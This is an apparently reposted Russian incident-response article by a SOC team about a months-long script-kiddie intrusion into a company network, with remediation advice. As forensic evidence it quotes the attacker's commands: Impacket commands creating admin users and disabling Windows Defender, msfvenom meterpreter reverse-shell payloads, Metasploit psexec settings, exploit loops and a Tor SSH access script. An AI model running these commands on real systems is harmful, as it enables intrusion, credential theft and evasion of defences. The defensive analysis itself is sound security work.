Берегитесь хакеров-недоучек: советы на примере реальной кибератаки

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Прежде чем перейти к статье, хочу вам представить, экономическую онлайн игру Brave Knights, в которой вы можете играть и зарабатывать. Регистируйтесь, играйте и зарабатывайте!

Привет всем пытливым умам многоуважаемого Хабра! В этой статье мы расскажем об атаке скрипт-кидди (низкоквалифицированных хакеров с ограниченными знаниями и способностями) на IT-инфраструктуру одной из российских компаний. Мы с коллегами из «Информзащиты», безусловно, выручили пострадавших, но хотим перечислить просчеты администраторов безопасности и варианты противодействия злоумышленникам, чтобы мотивировать других не повторять чужих ошибок. 

Мы подробно опишем все этапы кибератаки скрипт-кидди, с которой столкнулся наш заказчик. В своем рассказе сделаем акцент на том, как злодей украл учетные данные, каким образом закрепился в инфраструктуре, успешно обходил защиту, а также по какой причине внутренний SOC компании (Security Operations Center, команда ИБ-специалистов, ответственная за реагирование на инциденты)  не подавал сигналы бедствия. 

Вторжение в IT-инфраструктуру заказчика

Скрипт-кидди характерны тем, что используют для своих кибератак чужие программы и скрипты, так как они не способны самостоятельно написать вредоносный код. При этом их злонамеренные действия могут нанести такой же ущерб системе, как и атаки профессиональных хакеров. Более того, скрипт-кидди подвергают опасности собственные компьютеры, которые заражаются вредоносными программами и оставляют цифровые отпечатки, что и позволяет их идентифицировать. Но об этом позже. А пока обо всем по порядку.

14 августа 2022 года подрядчик по эксплуатации одной из информационных систем заказчика сообщил о высокой загрузке процессоров ряда виртуальных машин. Проведя анализ, сотрудники заказчика выявили установленные майнеры (программы для генерации криптовалюты).

16 августа 2022 года заказчик обратился в корпоративный центр обнаружения, предупреждения и ликвидации последствий компьютерных атак «Информзащиты» (IZ:SOC). Во время расследования IZ:SOC получил следующие хосты:

  • 10.9.XX.181

  • 10.9.XX.182

  • 10.1X.XXX.23

  • 10.5X.XX.69

  • 10.6X.XX.64

  • 10.6X.121.90

  • 10.6X.121.19

  • 10.9.X.113

Также наши сотрудники получили данные со следующих компонент IТ-инфраструктуры заказчика:

  • 627-1-***-02.***.***.***.ru

  • 627-1-**-ZB-**-4.***.***.***.ru

  • sa****.keenetic.name

  • sc****.keenetic.name

  • sc****.keenetic.name

  • sc****23.keenetic.link

Оказалось, что злоумышленники имели доступ к привилегированным учетным данным уже в марте 2022 года. То есть прошло как минимум семь месяцев до обнаружения их деятельности.

Специалисты IZ:SOC установили тактики и техники атакующих, инструменты, используемые ими для кражи учётных данных, поиска и эксплуатации уязвимостей, сбора и вывода информации, а также нашли их собственные скрипты автоматизации рутинных задач. Упрощенная схема перемещения хакеров показана на рисунке ниже.

Схема продвижения злоумышленников по сети
Схема продвижения злоумышленников по сети

То, с какой легкостью и изящностью преступник использовал модули metasploit (платформа для тестирования, поиска и использования уязвимостей) и отключал средства защиты, может говорить о его высокой степени подготовки. Но с другой стороны, в журналах событий скомпрометированных систем были обнаружены записи наподобие pkill vi

Это свидетельствует о том, что хакер - не опытный компьютерный гений, а тот самый скрипт-кидди.  Объясним на пальцах - есть такой текстовый редактор в unix-подобных машинах, называется vi или vim. Выйти из него для неопытных IT-спецов весьма затруднительно, поэтому наш начинающий хакер, судя по всему, зажал комбинацию клавиш ctrl+z и ввёл команду pkill vi, чтобы просто убить процесс этого графического редактора.

Предположительные действия злоумышленника после успешного выхода из VIM
Предположительные действия злоумышленника после успешного выхода из VIM

Как преступники получили доступ

Точная дата вторжения в инфраструктуру неизвестна. Но первые следы злоумышленника, которые удалось зафиксировать благодаря анализу событий с машин, датируются февралем 2022 года.

Из-за давности событий и ротации системных журналов, найти более ранние следы хакера было невозможно. По обнаруженной остаточной информации стало понятно, что атакующие использовали легитимные учетные данные для доступа к скомпрометированному хосту.

Kill Chain, «цепочка уничтожения» — концепция, определяющая структуру атаки
Kill Chain, «цепочка уничтожения» — концепция, определяющая структуру атаки

Выполнение атаки

После получения первоначального доступа к системе вредители устанавливали на скомпрометированные хосты metasploit (фреймворк для тестирования на проникновение metasploit). Через него осуществлялось как горизонтальное перемещение злоумышленника, так и кража учетных данных с использованием соответствующих модулей.

Злоумышленник использовал такие модули metasploit, как /exploit/windows/smb/psexec, /exploit/windows/smb/lsass, ставил listener-ы meterpreter-а, генерировал и распространял полезные нагрузки meterpreter. Благодаря тому, что на многих скомпрометированных хостах были установлены антивирусные решения, оповещения о найденных угрозах от антивирусов были сгенерированы практически одновременно с первыми запусками metasploit на скомпрометированных хостах. Однако администраторы безопасности проигнорировали эти предупреждения.

В файлах журналов средств антивирусной защиты были обнаружены записи о найденных угрозах, но и эти события остались незамеченными в связи с тем, что события от антивирусов не шли во внутреннюю SIEM-систему заказчика (система управления информационной безопасностью и событиями безопасности). 

Так, например, в октябре 2022 года на хосте 10.6X.XXX.19 в журнале антивируса были зарегистрированы события об обнаружении угрозы HEUR:Trojan.Win32.Generic в файле «C:\8010.exe» (SHA256:20601c6f02000f6e82a4bcf8ab6a0486a8192ed3e5f03fd31606bdddcf97e311), который обладает функциональными возможностями по загрузке программного кода с сетевого адреса. Эти обстоятельства позволили злоумышленнику продолжить наступательные действия, практически не встречая никакого сопротивления со стороны команд безопасности.

Вердикт TI для файла C:\8010.exe
Вердикт TI для файла C:\8010.exe

Усложняем жизнь хакерам

Для противодействия подобной активности простого приобретения средства защиты информации не достаточно. Необходимо также следить и вовремя реагировать на оповещения средств защиты. Также рекомендуется подавать события журналов антивирусов в SIEM для более качественного обнаружения и реагирования на инциденты.

К тому же сеть заказчика являлась абсолютно плоской, что только способствовало продвижению злоумышленника с компрометацией ещё большего числа активов. Поэтому желательно проводить сегментацию сети с разграничением доступа между сегментами. Этото подход хоть и не остановит злоумышленника, но значительно сильно усложнит ему жизнь.

Модуль /exploit/windows/smb/psexec устроен таким образом, что в случае успешного подключения под указанными учётными записями происходит установка службы с полезной нагрузкой PowerShell, которая устанавливает соединение к хосту с metasploit. Пример подобной службы представлен на рисунке ниже. 

Пример одной из установленных злоумышленником служб
Пример одной из установленных злоумышленником служб

Также на исследованных IZ:SOC хостах, были обнаружены следы фреймворка для постэксплуатации p0wnedShell. Отличительная особенность данного фреймворка в том, что он не использует в своей работе powershell.exe, хотя сохраняет в себе весь его функционал.

Для своевременного обнаружения и реагирования рекомендуется отключить powershell v2 и подать в SIEM события с журналов Windows Powershell и Microsoft-Windows-PowerShell/Operational. Далее в главе “Sigma-правил” представлены правила корреляции для обнаружения подобных активностей.

Как украли учетные данные

Для получения доступа к учетным данным пользователя злоумышленники применяли давно известные инструменты для их извлечения (Mimikatz, Impacket, LaZagne, Windows Password Recovery). 

Результаты работы утилит хакер оставлял на самих хостах, после чего происходила компрометация ранее нескомпрометированных хостов, установка на них программ для атак, майнеров криптовалюты, дополнительных модулей для обеспечения работы хакерских утилит. Сдампленные учётные данные хранились как в текстовых файлах, так и в файлах формата SQLite.

Также атакующие применяли технику перебора паролей (Brute Force – T1110) для получения доступа к системам с хоста 10.9.XX.236. Свидетельство этому – множественные события неуспешной аутентификации в журналах Security.evtx как на скомпрометированных хостах, так и на контроллерах домена.

Кроме того, атакующие использовали Windows Password Recovery для восстановления/сброса паролей в ОС Windows. На части хостов были обнаружены утилиты, в функционале которых прослеживались функции кейлоггера. Однако установить, использовалась ли данная утилита для сбора учётных данных или иной конфиденциальной информации, не представляется возможным. 

О базовых мерах безопасности

О противодействии кражам учётных данных сказано и написано уже немало, но базовые меры (использование стойких, длинных паролей, периодическая смена паролей, внедрение двухфакторной аутентификации) до сих пор игнорируются, в том числе и крупными организациями. Соответственно, для предотвращения или своевременного обнаружения большей части попыток кражи учётных данных нужно:

  • использовать стойкие, длинные пароли,

  • производить смену паролей один раз в 2-3 месяца,

  • внедрять двухфакторную аутентификацию,

  • не использовать один и тот же пароль для разных сервисов и служб,

  • не хранить пароли в открытом виде.

Однако помимо базовых мер есть ещё и более продвинутые (на случай, если базовые не остановили злоумышленника). В частности, используя события аудита windows и sysmon, можно с высокой степенью вероятности обнаруживать попытки дампа учётных данных. Дальше в главе Sigma Rules мы расскажем о правилах корреляции в виде sigma-правил, которые помогут своевременно фиксировать попытки кражи учётных данных пользователей.

Как хакеры повышали привилегии

Для повышения привилегий злоумышленники эксплуатировали ряд известных уязвимостей в различном ПО (CVE-2021-21972, CVE-2019-110432, CVE-2019-3980, CVE-2020-14364), применили visudo для редактирования файла sudoers. Далее рассмотрим их подробнее.

CVE-2021-21972 – критическая уязвимость VMware vCenter, которая позволяет выполнять произвольный удалённый код. С детальным описанием уязвимости можно ознакомиться по ссылке. Злоумышленник эксплуатировал данную уязвимость с помощью скрипта CVE-2021-21972.py, доступного в репозитории https://github.com/horizon3ai/CVE-2021-21972. Использование данного эксплоита в совокупности с утилитой lazagne.exe позволяло хакеру успешно дампить учётные данные сервера vCenter.

Эксплуатация уязвимости CVE-2021-21972
Эксплуатация уязвимости CVE-2021-21972

CVE-2019-11043 – уязвимость в PHP-FPM, позволяющая выполнять произвольный код с высокими привилегиями. Данной уязвимости подвержены версии PHP 7.1.x – 7.1.33, 7.2.x – 7.2.24 и 7.3.x – 7.3.11. Атакующий эксплуатировал уязвимость через эксплоит https://github.com/neex/phuip-fpizdam. Так как администраторы IТ-активов любезно запускали обработчик PHP с высокими правами, то успешная эксплуатация уязвимости приводила к повышению привилегий.

Эксплуатация уязвимости CVE-2019-11043
Эксплуатация уязвимости CVE-2019-11043

CVE-2019-3980 – уязвимость в SOLARWINDS DameWare Mini Remote Client Agent 12.1.0.89, позволяющая неаутентифицированному удалённому злоумышленнику выполнить произвольный код с высокими привилегиями. Эксплуатация данной уязвимости осуществлялась с помощью эксплоита от Tenable https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcs_dwDrvInst_rce.py .

CVE-2020-14364 – уязвимость в ПО QEMU, позволяющая завершить процесс QEMU или выполнить произвольный код с высокими привилегиями.

Объединяет все эти уязвимости то, что для их эксплуатации не надо обладать высокими техническими навыками и серьёзной подготовкой. Достаточно просто верно указать параметры и ждать чуда.

Посмотрите еще, как хакер использовал visudo (редактирование файла sudoers) и редактировал файл visudo:

Для противодействия подобному поведению рекомендуется обновить компоненты инфраструктуры, которые в настоящее время (с учётом ухода ряда вендоров) можно обновить (PHP-FPM). Для ПО, которое нельзя так просто взять и обновить, рекомендуется использовать средства обнаружения/предотвращения вторжений с предварительно настроенными сигнатурами. И, конечно, всегда есть open source решения.

Как преступники закрепились в IT-инфраструктуре

Для закрепления хакеры использовали различные подходы, начиная от изменения пароля встроенных учётных записей и заканчивая созданием доменных пользователей. Так, например, в журналах событий одной скомпрометированной системы были зафиксированы события, свидетельствовавшие о смене пароля для учётной записи root. 

Команды для создания доменных пользователей
Команды для создания доменных пользователей

Кроме того, были зафиксированы события, свидетельствующие о использовании злоумышленниками модулей Impacket для создания и добавления пользователей в привилегированные локальные группы.

Создание локальной учётной записи через Impacket
Создание локальной учётной записи через Impacket

Также на скомпрометированных хостах были обнаружены образы оптических дисков в формате ISO с PCUnlocker, который предназначен для сброса пароля администратора на Windows-системах. А еще:

  • установка tor, ssh сервисов, пакетов языка Golang, утилиты screen;

  • установка vpn proxy сервисов и фреймворка metasploit на хост;

  • развертывание на хосте сервера: ./gohttpserver;

  • редактирование файла пользовательского окружения .bashrc;

  • использование visudo (редактирование файла sudoers);

  • множественная установка VPN сессий со внешним хостом:

Атакующие создавали свои RSA-ключи для подключения по ssh, использовали удаленный доступ к серверу, привилегированные учетные записи и для закрепления, злоумышленники создавали доменные учётные записи: 

О методе обхода защиты

Для уклонения от защиты хакер отключал средства защиты: как сторонние, так и специализированные.

Так, например, в логах одной из скомпрометированных систем были обнаружены записи, свидетельствующие об отключении Real-Time Protection в Windows Defender через утилиту reg.exe.

Отключение Real-Time Protection в Windows Defender
Отключение Real-Time Protection в Windows Defender

На других скомпрометированных системах в журналах Windows Powershell были обнаружены события, свидетельствующие о полном отключении Windows Defender.

Отключение защитника Windows
Отключение защитника Windows

Также в журналах скомпрометированных систем были обнаружены события, свидетельствующие об отключении сторонних средств антивирусной защиты.

Для более детальной информации о скомпрометированных хостах злоумышленник использовал системные утилиты (net, ping), а также устанавливал нужные ему утилиты (nmap, zenmap), предварительно получив необходимые для установки нужного софта права. Собранная информация включала информацию о пользователях (локальных и доменных), информацию о доступных хостах и актуальных уязвимостях для этих хостов. 

В частности, атакующие использовали nmap и ping для тестирования доступности тех или иных хостов и сканирования их на уязвимости. Кроме того, хакеры исследовали запущенные процессы для траблшуттинга возникших проблем. Результаты сканирования сохранялись в текстовый файл и в дальнейшем использовались для горизонтального продвижения и составления словарей для перебора.

Далее расскажем подробнее об инструментарии, которым воспользовались хакеры.

Инструментарий скрипт-кидди

Tor — свободное и открытое программное обеспечение для анонимизации сетевого трафика. Анонимизация трафика обеспечивается за счёт распределённой сети серверов — узлов, в которой используется многоуровневое шифрование для защиты как сообщения, так и маршрутной информации. 

Tor использует «луковую маршрутизацию», при которой сообщения шифруются несколькими уровнями шифрования; на каждом шаге в прокси-сети самый верхний уровень расшифровывается, и содержимое пересылается на следующий узел, пока не достигнет пункта назначения. 

С использованием сети Tor злоумышленник организовывал каналы доступа во внутреннюю сеть из сети Интернет по протоколу SSH.

Пример файла onion.sh, используемого для автоматизации получения доступа к внутренней инфраструктуре:

ss() {
local n="$1"
echo "Connecting to ${unames[n]}@${hosts[n]}..."
torify ssh "${unames[n]}"@"${hosts[n]}"
}
main() {
[ -p /dev/stdin ] && exit; set -o ignoreeof; echo -ne '\e[?25l'
histfile="~/.schhist"
hosts=('slvz2e4wsyvhh2d455hynr6ufbtme2wm3uuaf24m2vamrd5nc6yigpid.onion'
       'sgvz2orqfg54mehsomkxfxhyogh45x7pqvfscxq6vkx6q4kbty6axsyd.onion'
       'gqs454eobrveek4ptkd7mb6mgq7ujl7tgjm4htg7v25soyl5grpcnxqd.onion' 
       'rkf4nm7gukk2lzsd377ezuzydjjanlaikx3adt337tjk7yl2tcnyunad.onion' 
       'teth4du6qtjnlo722blbtg56m53tzixnv7lpov2u27qgpph56umnesqd.onion' 
       'anzsliiejdeyaug234chopvdwvcoeyrovkxtsl6gppicseb26jpmziid.onion' 
       '4p6n4l6zwl7qtbaiu3niu7rcqrisjyrnw3f2xlsidxobcmwr67zxgkid.onion' 
       '5eew2fuq737g2vsokysu2ggw5xbwbbekmrtau74mb2o5e6qcquaqp3ad.onion' 
       'qguvtrbdryrw2zrznilc2mw45akmiokhxh7efuwwfm66zejad4gbb3id.onion' 
       'jhqcmcu6revramqjum5ewsw4xglozw2cak6lzqjg5awye62prqroksyd.onion' 
       'ze475smxgaan4szogm6xud423mnxkjoxbtwnmqipcmp2fp6gmqtkuayd.onion' 
       'mmdge3ffvv6ahxqacwafpd6frlnrauewbzv3ezpgfshm3lbgjnshewad.onion' 
       'ftrvpev4apzlpiwyfboshph3a7anamznl2ixnusqo73omov3kkpjxpqd.onion' 
       'obmgyti7jvtknkcold27v3lvpwhkg4xijxbo6rqdpf52m6tdulyztrid.onion' 
       'j7uxt3xsaisawy2gvkt737fwotnd27nrts4j4mvdnimbgtotf7d7eeyd.onion' 
       '6zqgwfy7bsfbd67a55ajfu4bcl37qt2h3mu4mwkh6rdzvntngdhjvgyd.onion' 
       'dgtsfpbxsj7i722h3wy47woljckfrzctrc3ohq7wtcufl3er6s7p65id.onion' )

Impacket – это набор Python-утилит для низкоуровневой работы с сетевыми протоколами. 

Модули Impacket, которые использовал злоумышленник в данном инциденте, приводим ниже.

- Smbclient.py - универсальный SMB-клиент, позволяющий просматривать общие ресурсы и файлы, а также переименовывать, загружать и скачивать файлы и создавать и удалять каталоги, используя либо имя пользователя и пароль, либо комбинацию имени пользователя и хэшей.

Примеры использования злоумышленником данного модуля:

smbclient.py Administrator@10.64.XXX.90 -hashes :<HASH> for i in $(cat pass.txt); do echo -e "\n$i:"; smbclient.py "$i"@10.9.XX.11; done smbclient.py Admin:<Password>@10.64.XXX.21

- Atexec.py - модуль, который помогает злоумышленникам удаленно получать доступ к хост-машине пользователя с помощью протокола DCE / RPC, используемого хостами CIFS для доступа и управления службой AT-Scheduler и выполнения произвольной системной команды.

Примеры использования злоумышленником данного модуля:

atexec.py -codec cp866 Administrator@10.64.XXX.90 "net localgroup Администраторы new_adm/add" -hashes :<HASH>
atexec.py -codec cp866 Administrator@10.64.XXX.90 "net user new_admp4s5w0rd /add" -hashes :<HASH>
atexec.py -codec cp866 Administrator@10.64.XXX.90 'REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f' -hashes :<HASH>

- Psexec.py - модуль, по функционалу подобный утилите PsExec, используемый совместно со службой RemComSvc/

Примеры использования злоумышленником данного модуля:

psexec.py s**:s*****7@10.9.XX.181 psexec.py -codec cp866 Administrator10.9.XX.10 -hashes :<HASH>
psexec.py -codec cp866 Administrator:<PASSWORD>@10.64.XXX.20

- Smbexec.py - модуль, который использует аналогичный подход модулю PsExec, но без использования RemComSvc. 

Этот скрипт работает в двух режимах:

  • режим общего доступа: указываются необходимые параметры, и все действия производятся посредством общего доступа;

  • режим сервера: если по какой-либо причине общий доступ невозможен, этот скрипт запустит локальный SMB-сервер, поэтому выходные данные выполненных команд будут отправлены целевой машиной обратно в локальную общую папку. Нужно иметь в виду, что хакеру понадобится root-доступ для привязки к 445 порту на локальной машине.

Примеры использования злоумышленником данного модуля:

smbexec.py -codec cp866 Administrator@10.64.XXX.90 -hashes :<HASH>

- Wmiexec.py - модуль, позволяющий выполнять команды посредством WMI. Главное преимущество заключается в том, что работа идет под учетной записью пользователя (именно — администратора), а не системы. Недостатком является то, что wmiexec.py нуждается в DCOM, следовательно, пользователь должен иметь возможность получить доступ к портам DCOM на целевой машине.

Примеры использования злоумышленником данного модуля:

wmiexec.py -codec cp866 Administrator@10.64.XXX.90 -hashes :<HASH>
for i in $(cat {domain_name}pass.txt); do echo -e "\n$i:"; wmiexec.py -codec cp866 "$i"@10.9.XX.11; done

- Secretsdump.py - модуль, позволяющий использовать различные методы для сброса/дампа учетных данных и баз УЗ (пример - ntds.dit) с удаленной машины.

Примеры использования злоумышленником данного модуля:

pip3 install impacket
secretsdump.py 
ls -lh .local/bin/secretsdump.py
ls -lh .local/bin/secretsdum*
which secretsdump.py

Nmap - свободная утилита, предназначенная для разнообразного настраиваемого сканирования IP-сетей с любым количеством объектов, определения состояния объектов сканируемой сети.

Примеры использования злоумышленником данной утилиты:

# Nmap 7.92 scan initiated Tue Aug 9 17:50:22 2022 as: nmap.exe -T4 --open -p22 -sV -o centos.txt 10.6X.XXX-YYY.Z-255
Nmap scan report for 10.64.XXX.3
Host is up (0.010s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
cat $1 | parallel -j16 "nmap -Pn --open -p443 {} | grep -v 'Starting Nmap' | grep -v 'Nmap done'"
screen -d -m sudo nmap -T4 --open --top-ports 4096 -sV 10.64.XXX-YYY.0-255 -oN {domain_name}.txt -oX {domain_name}.xml

PsExec — это инструмент пакета PsTools, который является частью Sysinternals от Microsoft.  PsExec позволяет удалённо запускать процессы с использованием учётных данных любого пользователя. В основном злоумышленниками используется при реализации техник Lateral Movement (горизонтального перемещения).

Примеры использования злоумышленником данной утилиты:

for i in $(cat {domain_name}pass.txt); do echo -e "\n$i:"; psexec -codec cp866 "$i"@10.9.XX.11; done
use exploit/windows/smb/psexec

Lazagne - это инструмент с открытым исходным кодом, используемый для восстановления сохраненных паролей в системе после эксплуатации. Lazagne имеет модули для Windows, Linux и OSX, но в основном ориентирован на системы Windows. Злоумышленниками используется в постэксплуатации, в качестве утилиты для дампа учетных данных хоста.

Примеры использования злоумышленником данной утилиты:

python3 CVE-2021-21972.py -t 10.64.XXX.20 -f lazagne.exe -p "ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\lazagne.exe" -o win
cp CVE-2021-21972-1/lazagne.exe /mnt/c/
PHuiP-FPizdaM

Эксплойт критической уязвимости CVE-2019-11043 в расширении PHP-FPM (менеджер процессов FastCGI), позволяющей удалённо выполнить свой код в системе. Уявимость используется при атаках на серверы, использующие для запуска PHP-скриптов PHP-FPM в связке с Nginx.

Примеры использования злоумышленником данной утилиты:

cd phuip-fpizdam/
cp ../phpips.txt .
for i in $(< phpips.txt); do go run . "http://$i/index.php"
for i in $(< phpips.txt); do go run . "http://$i/index.php"; done
htop
powershell.exe 
cd /mnt/c/
ls

Mimikatz - это приложение с открытым исходным кодом, которое позволяет пользователям просматривать и сохранять учетные данные аутентификации, такие как тикеты Kerberos. Злоумышленники обычно используют Mimikatz для кражи учетных данных и повышения привилегий.

Metasploit Framework – это специализированный инструментарий, представляющий собой коллекцию уязвимостей, средств и способов их эксплуатации и разработки.

Примеры использования злоумышленником данной утилиты:

/mnt/c/metasploit-framework/bin/msfconsole.bat
use exploit/windows/smb/lsass
use exploit/windows/smb/psexec
options
set rhosts 10.64.XXX.90
options
set smbpass <PASSWORD>
set smbuser Admin
exploit
set rhosts 10.64.XXX.55
exploit
set smbpass bradmin
set smbuser bradmin

Metrepreter - продвинутая динамически расширяемая нагрузка, которая использует механизм ижектирования в память DLL и предоставляет инструментарий удаленного управления. 

Примеры использования злоумышленником данной утилиты:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.64.XXX.64 LPORT=2222 -f exe -o met22.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.64.XXX.64 LPORT=4490 -f exe > w4490.exe

set payload windows/meterpreter/reverse_tcp
set lport 4490
options
set lhost 10.64.XXX.64
expl
run
ping *.<L1-domain>.goX

p0wnedShell - это хост-приложение PowerShell разработанное для тестирования систем на проникновение, написанное на C#, которое не использует powershell.exe, а выполняет команды и функции powershell в среде выполнения powershell (.NET). 

В него включено множество модулей PowerShell для проведения атак, а также двоичных файлов, упрощающих процесс постэксплуатации. Используется для выполнения современных атак в средах Active Directory и обхода множества средств защиты. 

Nircmd - утилита, которая позволяет выполнять различные системные задачи, например открыть\закрыть лоток диска, добавить\уменьшить уровень звука, отключить монитор, запустить скринсейвер, выключить компьютер и многое другое. Все эти действия программа совершает без отображения какого-либо интерфейса, то есть абсолютно не выдавая своего присутствия. Для указания утилите нужного действия используются параметры командной строки.

PTH-Toolkit – набор утилит, предназначенных для удалённого подключения к хостам Windows и выполнения произвольного кода. Инструмент для реализации горизонтального продвижения.

MITRE ATT&CK Mapping

Маппинг тактик, техник и процедур нашего «клиента» на матрицу MITRE ATT&CK

Sigma Rules

Далее , как и обещали, мы поделимся собственным контентом, детектирующими правилами, которые с вероятностью в 99% обнаружат атаки с подобным шаблоном. Следует также учитывать, что сценарии ложно-положительных срабатываний мы отразили в общих чертах. То есть, исключение False-Positive сработок необходимо производить самостоятельно в зависимости от вашей среды.

Вывод

Проанализировав данный инцидент и другие подобные случаи, наша команда пришла к выводу, что злоумышленники используют известные и общедоступные программы для тестирования безопасности, не утруждаясь разработкой новых кастомных инструментов. 

Кроме того, они применяют уже известный инструментарий, например, Sysinternals, Impacket, а также пользуются утилитами из набора LOLBIN/LOLBAS, для целей разведки, закрепления и повышения привилегий. Эти инструменты вполне хорошо изучены и исследованы ведущими командами по кибербезопасности. Однако это не помешало хакерам достаточно долгое время пребывать в инфраструктуре незамеченными. И связано это вот с чем.

1. Сложности, с которыми нам приходится сталкиваться при разборе подобных инцидентов, состоят в том, что не всегда сразу удаётся определить легитимность или вредоносность той или иной активности, особенно если это события в SIEM. По разным причинам (события с источника не собираются, неправильно настроен аудит, слишком малая продолжительность жизни журналов событий и т.д.). Недостаточно данных  для принятия решения. Соответственно, для получения более полной картины необходимо чаще запрашивать информацию у заказчика, что, в свою очередь, увеличивает время на реагирование на инцидент информационной безопасности, что даёт преимущество злоумышленнику.

2. Также, как было сказано выше, на многих хостах, которые попали к нам на исследование, были установлены средства антивирусной защиты, которые предупреждали о появлении на хостах вредоносных объектов. Однако это обстоятельство не остановило хакеров, так как за средствами антивирусной защиты практически никто не следил и никак не реагировал на предупреждения, что было только на руку вредителям. Стоит также отметить, что хотя у заказчика и были установлены надёжные, проверенные временем средства защиты информации с актуальными базами и сигнатурами – это все равно не помогло. 

3. Сама по себе IТ-инфраструктура заказчика выстроена плохо с точки зрения информационной безопасности: отсутствует принцип минимизации прав и полномочий в части межсетевого взаимодействия; плохо обеспечена инвентаризация IТ-ресурсов, выраженная, в частности, в не выведенных из эксплуатации IТ-активов, которые более не используются; не обеспечено централизованное управление служебными учётными записями, контроль за использованием служебных учётных записей тоже отсутствует; используются слабые, ненадёжные пароли для разных учётных записей с высокими правами.

То есть мы видим ситуацию, в которой бюджет на ИБ в организации практически неограниченный (закуплены и используются сложные и дорогие средства антивирусной защиты, разворачивается внутренний SOC, используются современные средства межсетевого экранирование и т.д.), однако из-за слабо выстроенных процессов кибербезопасности, злоумышленнику удавалось довольно долгое время оставаться незамеченным в инфраструктуре. 

Как исправить эту ситуацию и что для этого надо сделать - один из вопросов, который поставил перед нами заказчик. Для того, чтобы подобные случаи более не повторялись, мы поделились с атакованной компанией частью своих правил корреляции (представлены в разделе Sigma Rules), чтобы его внутренний SOC мог самостоятельно обнаруживать подобного рода атаки на ранних этапах. 

Также не стоит забывать о базовых мерах защиты: использовать стойкие к перебору пароли, не использовать один и тот же пароль на разных учётных записях, придерживаться принципа минимальных привилегий, использовать учётные записи с высокими привилегиями, только в случаях, когда это действительно необходимо. Благодаря этим мерам SOC заказчика уже самостоятельно выявлял вредоносную активность в своей внутренней инфраструктуре.

Надеемся, что информация была полезной и для вас. Если возникнут вопросы, задавайте их в комментариях.

Источник: https://habr.com/ru/companies/lanit/articles/735048/


Интересные статьи

Интересные статьи

Это серия статей о том, что такое математическая оптимизация и как её можно применить в бизнесе на примере компании Recruit. В данной статье мы рассказываем, как была решена проблема планирования до...
Хочу описать свои наработки и устоявшиеся подходы к тестированию PHP проектов. Последние годы я работаю с Symfony и здесь будет достаточно моментов специфичных для этого фреймворка. Так же в этой стат...
Мы живем в то время, когда все больше людей стали относиться к компьютерным играм, как к искусству, а не бесполезному времяпрепровождению, которое ожесточает людей и калечит детскую психику. Поэтому с...
Данная учебная задача показывает, как создавать динамическую модель системы, методами структурного моделирования. Несмотря на то, что данная модель очень проста, процесс ее создания, необходимая после...
Настройка любой площадки для CMS — это рутинный процесс, который должен быть доведен до автоматизма в каждой уважающей себя компании. А потому частенько воспринимается, как восход солнца — это происхо...